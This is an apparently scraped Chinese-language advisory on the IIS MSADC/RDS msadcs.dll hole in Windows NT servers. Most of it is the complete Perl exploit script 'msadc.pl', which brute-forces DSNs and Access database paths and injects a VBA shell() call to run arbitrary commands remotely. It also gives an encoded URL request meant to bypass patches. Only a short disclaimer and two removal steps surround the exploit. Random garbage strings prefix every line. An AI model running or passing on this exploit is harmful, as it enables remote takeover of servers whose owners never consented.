IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}tH6E %3$EV}dp 涉及程序:
#j${R={ Microsoft NT server
C?VNkBJ>\ d}]jw4 描述:
*Q2}Qbu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Ceak8#|4 M!b"c4|< 详细:
=(>pv, 如果你没有时间读详细内容的话,就删除:
p3{ 3[fDx c:\Program Files\Common Files\System\Msadc\msadcs.dll
Q.L.B7'e7 有关的安全问题就没有了。
I> 3]VRi p EbyQ[ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
S9S%7pE xy1R_*.F^T 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
VpmD1YSn 关于利用ODBC远程漏洞的描述,请参看:
G>c:+`KS CN<EgNt1kN http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i@#fyU)[G $"]*,=-X 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
AtW<e;!0te http://www.microsoft.com/security/bulletins/MS99-025faq.asp W%^;:YQ9i :/'oh]T| 这里不再论述。
+HNM$yp Oi4tG&q 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
XfH[:XG3 6.gk6 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
dgM@|&9*m 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
4z> SI\Ss _+2Jc}Yf H{j
jA+0 #将下面这段保存为txt文件,然后: "perl -x 文件名"
|4|j5<5 `%S#XJU #!perl
l^E)XWd #
c0u1L@tj # MSADC/RDS 'usage' (aka exploit) script
YB'BAX<lI #
xnD"LK # by rain.forest.puppy
:f5"w+ #
H^C$2 f # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/p_#8}Uh # beta test and find errors!
L4-v'Z; MF/@Efjn
] use Socket; use Getopt::Std;
tEHgQto getopts("e:vd:h:XR", \%args);
zsuXN * Ub-q0[6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'PVxc%[ eJwHeG if (!defined $args{h} && !defined $args{R}) {
DDwm;,eZ print qq~
N.@@ebuE Usage: msadc.pl -h <host> { -d <delay> -X -v }
sW]fPa(cn, -h <host> = host you want to scan (ip or domain)
Tg~SGAc -d <seconds> = delay between calls, default 1 second
|#?:KvU97E -X = dump Index Server path table, if available
+1=]93gP -v = verbose
-{rUE + -e = external dictionary file for step 5
Y]6kA5 `PApmS~}
. Or a -R will resume a command session
FA3YiX(-e !omf>CW;ud ~; exit;}
9S]]KEGn4 Cmj+>$')0 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Yb;$z' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
XdxSi"+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3r-oZ8/n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$;%k:&\f $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Th>ff)~e if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8%Hc%T[RnT lLi)? if (!defined $args{R}){ $ret = &has_msadc;
K)[DA*W die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S{#L7S K]c\3[vR print "Please type the NT commandline you want to run (cmd /c assumed):\n"
.bvEE . "cmd /c ";
dcbE<W#ss $in=<STDIN>; chomp $in;
Y~[k_! $command="cmd /c " . $in ;
5Gw B1}q pa8R;A70Dl if (defined $args{R}) {&load; exit;}
HS
>B\Ip" N>Q~WXvV# print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^(on"3sG &try_btcustmr;
!b 4v}70, s2*~n_B print "\nStep 2: Trying to make our own DSN...";
-h8@B+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
c1aIZ [h[@?8vB print "\nStep 3: Trying known DSNs...";
e> -fI_+b &known_dsn;
AMf{E Z(:q.{"r print "\nStep 4: Trying known .mdbs...";
j9^V)\6) &known_mdb;
N83c+vs%c ;G|#i?JJ if (defined $args{e}){
yeqHeZ print "\nStep 5: Trying dictionary of DSN names...";
x,: DL)$1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
5~GH*!h%; Dlqvz|X/ print "Sorry Charley...maybe next time?\n";
"cD MFu exit;
#Q'j^y7=z V18A|]k ##############################################################################
f6k=ew hYB3tT sub sendraw { # ripped and modded from whisker
!M@jW[s sleep($delay); # it's a DoS on the server! At least on mine...
PB(I3R9 my ($pstr)=@_;
$QB/n63 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ev>P|kV&A die("Socket problems\n");
@
q:S]YB if(connect(S,pack "SnA4x8",2,80,$target)){
'B yB1NL select(S); $|=1;
It:,8 print $pstr; my @in=<S>;
1=z6m7@'- select(STDOUT); close(S);
4U>g0 return @in;
:Fh#"<A&& } else { die("Can't connect...\n"); }}
l#bE_PD; BHN EP |= ##############################################################################
+*L<"@ k$3Iv"gbx sub make_header { # make the HTTP request
dwJnPJ=z my $msadc=<<EOT
34<k)0sO POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
y/>IF|aX User-Agent: ACTIVEDATA
uF<}zFS Host: $ip
[PX%p;"D Content-Length: $clen
nAaY5s0D Connection: Keep-Alive
CWY-}M buKSZ ADCClientVersion:01.06
-]<<}@NF Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Nbb2wr9A g1v=a --!ADM!ROX!YOUR!WORLD!
}?^]-`b Content-Type: application/x-varg
u5N&W n{ Content-Length: $reqlen
pc2;2^U_ -BcnJK0 EOT
{R8)DK
; $msadc=~s/\n/\r\n/g;
sZPyEIXie return $msadc;}
I/* ULR,
*BHp?cn;F2 ##############################################################################
_lrvK99 wA\a ]X. sub make_req { # make the RDS request
fUq:`#Q my ($switch, $p1, $p2)=@_;
kX%vTl7F my $req=""; my $t1, $t2, $query, $dsn;
d.$0X/0 Q8D#kAYw if ($switch==1){ # this is the btcustmr.mdb query
_E2W%N $query="Select * from Customers where City=" . make_shell();
{PKf]m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
rT_J6F5J $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M$s9 EGVS8YP>h elsif ($switch==2){ # this is general make table query
[JYy
$query="create table AZZ (B int, C varchar(10))";
P&IS$FC.\ $dsn="$p1";}
IoZ_zz0 ~s*kuj'%+ elsif ($switch==3){ # this is general exploit table query
&}r-C97 $query="select * from AZZ where C=" . make_shell();
qs{wrem $dsn="$p1";}
d<RJH w@WPp0mny elsif ($switch==4){ # attempt to hork file info from index server
Fv<3VKueK[ $query="select path from scope()";
GIhX2EvAS $dsn="Provider=MSIDXS;";}
5Nl?Km~ Ug )eyu elsif ($switch==5){ # bad query
q.VZ P $query="select";
N\anjG $dsn="$p1";}
"0LSy x <:4b4Nl $t1= make_unicode($query);
SZvp%hS0 $t2= make_unicode($dsn);
[ J4n% $req = "\x02\x00\x03\x00";
CsEU:v $req.= "\x08\x00" . pack ("S1", length($t1));
ny:/a $req.= "\x00\x00" . $t1 ;
RTr"#[ $req.= "\x08\x00" . pack ("S1", length($t2));
I]a [Ngj $req.= "\x00\x00" . $t2 ;
;FJFr*PM $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[>KnMi=o) return $req;}
CbwQbJ/v7 Pk>S;KT. ##############################################################################
i0F6eqe=J Qs ysy sub make_shell { # this makes the shell() statement
&v#pS!UO j return "'|shell(\"$command\")|'";}
f2u4*X
E\
Clb7=@f ##############################################################################
Nq1YFI>W ,P%i%YPj sub make_unicode { # quick little function to convert to unicode
KM?w{ ~9 my ($in)=@_; my $out;
/ke[nr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Z7> Nd$E{ return $out;}
g}d[j
I9 i.{.koH< ##############################################################################
Rn)fwGC OIDP#K sub rdo_success { # checks for RDO return success (this is kludge)
D$+g5u) my (@in) = @_; my $base=content_start(@in);
86);0EBX if($in[$base]=~/multipart\/mixed/){
6^lix9q7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
0?cJ>)N return 0;}
~OWpk)Vq (8~D^N6Z ##############################################################################
DMOP*;Uk UF$O@l sub make_dsn { # this makes a DSN for us
+8Y|kC{9" my @drives=("c","d","e","f");
g7{:F\S print "\nMaking DSN: ";
dQ_hlx!J foreach $drive (@drives) {
C3'?E<F print "$drive: ";
izzX$O[=: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l#~pK6@W "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
1Tr%lO5?6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=RAojoN $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^B1$|C
D, return 0 if $2 eq "404"; # not found/doesn't exist
>pp#>{} if($2 eq "200") {
@,9YF}
foreach $line (@results) {
Z/T(4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KciN"g|X } return 0;}
|h&Z. yb,X
}"Et ##############################################################################
#lO ^PK [=",R&uD$ sub verify_exists {
9Y@ eXP my ($page)=@_;
>.I9S{7 my @results=sendraw("GET $page HTTP/1.0\n\n");
uAV7T /' return $results[0];}
WrS>^\: q\-P/aN_ ##############################################################################
zI\+]U' U9K'O !i> sub try_btcustmr {
t1NGs-S3 my @drives=("c","d","e","f");
?C- ju8]| my @dirs=("winnt","winnt35","winnt351","win","windows");
FmhAUe V(8,94vm foreach $dir (@dirs) {
j^WYMr, print "$dir -> "; # fun status so you can see progress
j+rY foreach $drive (@drives) {
qzEv!?)a print "$drive: "; # ditto
&;~?\>?I $reqlen=length( make_req(1,$drive,$dir) ) - 28;
|QD#Dx1_ $reqlenlen=length( "$reqlen" );
;+.cD $clen= 206 + $reqlenlen + $reqlen;
c3 )jsf yZN~A: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
o/Q|R+yXV if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"
%qr*| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
$E.Fgy:G D)Ep!`Q
##############################################################################
P)#h4|xZ n/x((d%"E sub odbc_error {
/='Q-`?9 my (@in)=@_; my $base;
hC9EL=
A my $base = content_start(@in);
?z2! ? if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
BMqr YW $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7t1as. $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5E*Qqe $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(G/(w%#7_ return $in[$base+4].$in[$base+5].$in[$base+6];}
R>]7l!3^1 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z~==7:Os print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
tfu`_6 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
b^&azUkMN {9X mFa ##############################################################################
vCNq2l^CW #6v357-5 sub verbose {
^d@2Y0hH my ($in)=@_;
axDa&7% return if !$verbose;
>rJ**y print STDOUT "\n$in\n";}
~)n[Vf <*WGvCh%w ##############################################################################
3fA+{Y8S IsShAi sub save {
TZ `Ypi7r my ($p1, $p2, $p3, $p4)=@_;
1uppE| open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Gz BPI'C print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,k=8|=aF close OUT;}
~#i2reG5
/.=aA~| ##############################################################################
CBF<53TshR lSlZ^.& sub load {
~( 0bqt3c my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u{h67N open(IN,"<rds.save") || die("Couldn't open rds.save\n");
znSlSQpTv @p=<IN>; close(IN);
5gII|8>rQ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
m Rm}7p $target= inet_aton($ip) || die("inet_aton problems");
oK
7:e~ print "Resuming to $ip ...";
Dy>6L79G $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Jm#p!G+ if($p[1]==1) {
ck%YEMs $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
TUz4-Pd $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
M@P%k`6C my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
{Z7ixc523 if (rdo_success(@results)){print "Success!\n";}
^y qRa& else { print "failed\n"; verbose(odbc_error(@results));}}
dJ/gc"7aO elsif ($p[1]==3){
!h|,wq]k if(run_query("$p[3]")){
,Q3OQ[Nmh print "Success!\n";} else { print "failed\n"; }}
ivn2 elsif ($p[1]==4){
x0jaTlU/ if(run_query($drvst . "$p[3]")){
!icI Rqcf= print "Success!\n"; } else { print "failed\n"; }}
4(VV@:_% exit;}
ExSM=
F\^8k /0 ##############################################################################
~\i(bFd) dvqg H sub create_table {
[z ]P5 my ($in)=@_;
y.}{KQ"a* $reqlen=length( make_req(2,$in,"") ) - 28;
,msP(*qoI $reqlenlen=length( "$reqlen" );
g1}:;VG= $clen= 206 + $reqlenlen + $reqlen;
'RhS%l my @results=sendraw(make_header() . make_req(2,$in,""));
Jwfb%Xge~ return 1 if rdo_success(@results);
x;$ESPPg my $temp= odbc_error(@results); verbose($temp);
M:/(~X{? return 1 if $temp=~/Table 'AZZ' already exists/;
JqZt1um return 0;}
CLk,]kA'r $5.52 ##############################################################################
E?czolNl Dr:M~r'6 sub known_dsn {
-CuuO=h # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
8)=(eI$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
</D.}ia "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
xr]bH.> "banner", "banners", "ads", "ADCDemo", "ADCTest");
U._fb= /9&!u )+ foreach $dSn (@dsns) {
l@*$C&E print ".";
:"Otsb7 next if (!is_access("DSN=$dSn"));
F'OO{nF if(create_table("DSN=$dSn")){
rks"y&&Nc print "$dSn successful\n";
(H&HSs if(run_query("DSN=$dSn")){
"uT2 DY[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-gk2$P- print "Something's borked. Use verbose next time\n";}}} print "\n";}
li
v=q /*{'p!? ##############################################################################
|>.MH @'):rFr@F sub is_access {
`4snTM!v& my ($in)=@_;
IN<nZ?D# $reqlen=length( make_req(5,$in,"") ) - 28;
Xwdcy J! $reqlenlen=length( "$reqlen" );
6?*Do $clen= 206 + $reqlenlen + $reqlen;
0kj5r*qA my @results=sendraw(make_header() . make_req(5,$in,""));
,[6Rmsk my $temp= odbc_error(@results);
)W>$_QxbN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
T#i;=NP" return 0;}
y6tqemz yP"}(!~m ##############################################################################
|;xEKnF d~r A`!s7` sub run_query {
&9)/" my ($in)=@_;
036m\7+Qj $reqlen=length( make_req(3,$in,"") ) - 28;
5,s@K>9l; $reqlenlen=length( "$reqlen" );
(lS[a $clen= 206 + $reqlenlen + $reqlen;
ZD'mwj+K my @results=sendraw(make_header() . make_req(3,$in,""));
`h'l"3l return 1 if rdo_success(@results);
/g!ZU2&l my $temp= odbc_error(@results); verbose($temp);
K>e-IxA);0 return 0;}
#n{4f1TZ @s
cn ?t ##############################################################################
l0`bseN< 0m]QQGvJ{ sub known_mdb {
F~fBr my @drives=("c","d","e","f","g");
T9&{s-3* my @dirs=("winnt","winnt35","winnt351","win","windows");
}T(=tfv@ my $dir, $drive, $mdb;
~!~i_L\V my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u&uFXOc' &g&,~Y/z; # this is sparse, because I don't know of many
JygJ4RI%j my @sysmdbs=( "\\catroot\\icatalog.mdb",
{l!{b1KJ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
j0~am,yZ "\\system32\\certmdb.mdb",
jT$J~MpHh "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
6xtgnl#T uA[
: my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
TP {\V>*Yz "\\cfusion\\cfapps\\forums\\forums_.mdb",
CEkUXsp "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
bRyxP2 "\\cfusion\\cfapps\\security\\realm_.mdb",
ym%` l! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#}B1W&\sw "\\cfusion\\database\\cfexamples.mdb",
J.XhP_aT "\\cfusion\\database\\cfsnippets.mdb",
<uB)u>3
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
}DM W,+3 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
A03io8D6 "\\cfusion\\brighttiger\\database\\cleam.mdb",
GvG8s6IZ "\\cfusion\\database\\smpolicy.mdb",
L~{(9J'( "\\cfusion\\database\cypress.mdb",
MXfyj5K "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@(35I "\\website\\cgi-win\\dbsample.mdb",
r>ed/<_>m; "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
mY/"rm "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Q"~%T@e ); #these are just
oF>`> foreach $drive (@drives) {
Z81;Y=( foreach $dir (@dirs){
y3b"'-% foreach $mdb (@sysmdbs) {
m4oj1h_4 print ".";
tmq?h%O> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}:c~5whN print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4V4S5V if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@@K/0:], print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
()Kaxcs?+ } else { print "Something's borked. Use verbose next time\n"; }}}}}
kN1R8| pv "*D9.LyM foreach $drive (@drives) {
{+_p?8X foreach $mdb (@mdbs) {
8g!79q\c4 print ".";
Qx,#Hj if(create_table($drv . $drive . $dir . $mdb)){
G4:\6fu print "\n" . $drive . $dir . $mdb . " successful\n";
[(_,\:L${ if(run_query($drv . $drive . $dir . $mdb)){
,)*[Xa_n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)uOtQ0 } else { print "Something's borked. Use verbose next time\n"; }}}}
I50LysM }
1c#\CO1l :{)uD
; ##############################################################################
i"iy 0? K/Yeh<_& sub hork_idx {
![ce } print "\nAttempting to dump Index Server tables...\n";
9q$^x/z! print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
I*Dj@f` $reqlen=length( make_req(4,"","") ) - 28;
As>Og $reqlenlen=length( "$reqlen" );
qOy(dG g $clen= 206 + $reqlenlen + $reqlen;
N[3Y~HX!q my @results=sendraw2(make_header() . make_req(4,"",""));
yH-&o, if (rdo_success(@results)){
!Whx^B: my $max=@results; my $c; my %d;
mxF+Fp~ for($c=19; $c<$max; $c++){
PVF:p7 $results[$c]=~s/\x00//g;
B *O/>=_ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[<U=)!Swg $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Ewr2popK $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
m-\_L=QzM $d{"$1$2"}="";}
YYFS
({ foreach $c (keys %d){ print "$c\n"; }
ibZ[U p? } else {print "Index server doesn't seem to be installed.\n"; }}
\8<[P(!3 @fmp2!?6 ##############################################################################
i0wBZ i? @d~]3T sub dsn_dict {
:Ob^b3<t open(IN, "<$args{e}") || die("Can't open external dictionary\n");
h%u!UHA while(<IN>){
+JC"@
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
'@+q_v@Jl next if (!is_access("DSN=$dSn"));
Ew{*)r)m if(create_table("DSN=$dSn")){
*&Iv Eu print "$dSn successful\n";
/D^ g" if(run_query("DSN=$dSn")){
6?%$e$s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
F%$ q]J[ print "Something's borked. Use verbose next time\n";}}}
K<::M3eQ print "\n"; close(IN);}
dF 6od *q=\e 9 ##############################################################################
7J5jf231 eDP&W$s# sub sendraw2 { # ripped and modded from whisker
xg,
9~f[ sleep($delay); # it's a DoS on the server! At least on mine...
ob/<;SrU< my ($pstr)=@_;
@.a59kP8X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mD% qDKI die("Socket problems\n");
~E8/m_> rU if(connect(S,pack "SnA4x8",2,80,$target)){
f?=0Wzb print "Connected. Getting data";
m%})H"5 open(OUT,">raw.out"); my @in;
/~WBqcl select(S); $|=1; print $pstr;
z7XI`MZN^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
l3^'b p6HQ close(OUT); select(STDOUT); close(S); return @in;
^
op0"
#B } else { die("Can't connect...\n"); }}
h@*I(ND< ~a2|W|? ##############################################################################
(-0d@eqw :}fA98S sub content_start { # this will take in the server headers
(D?4*9= my (@in)=@_; my $c;
}z/%b<o_ for ($c=1;$c<500;$c++) {
,Nw2cv}D if($in[$c] =~/^\x0d\x0a/){
&E0^Jz if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
+RM!j9Rq else { return $c+1; }}}
MHt
~ZVH return -1;} # it should never get here actually
$v2t6wS," ,.2qh|Ol ##############################################################################
DeW{#c6 U& sub funky {
._j?1Fw` my (@in)=@_; my $error=odbc_error(@in);
^CQp5k p] if($error=~/ADO could not find the specified provider/){
2i#Ekon print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?o6#i 3k#' exit;}
eB9&HD: if($error=~/A Handler is required/){
zBq&/? print "\nServer has custom handler filters (they most likely are patched)\n";
A7#nBHwxZ exit;}
Y=Ic<WHR if($error=~/specified Handler has denied Access/){
^fO9oPM| print "\nServer has custom handler filters (they most likely are patched)\n";
KwaxNb5 exit;}}
T zS?WYF ,d lq2 ##############################################################################
i9qIaG/ l44QB8
9 sub has_msadc {
6A=k;do my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
2#yDVN$ my $base=content_start(@results);
N$t<&5+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
L1G)/Vkw return 0;}
&+k*+ A2L"&dl ########################
?-2s}IJO XefmC6X guf&V}& 解决方案:
;<T,W[3J 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Mr4,?Z&`-d 2、移除web 目录: /msadc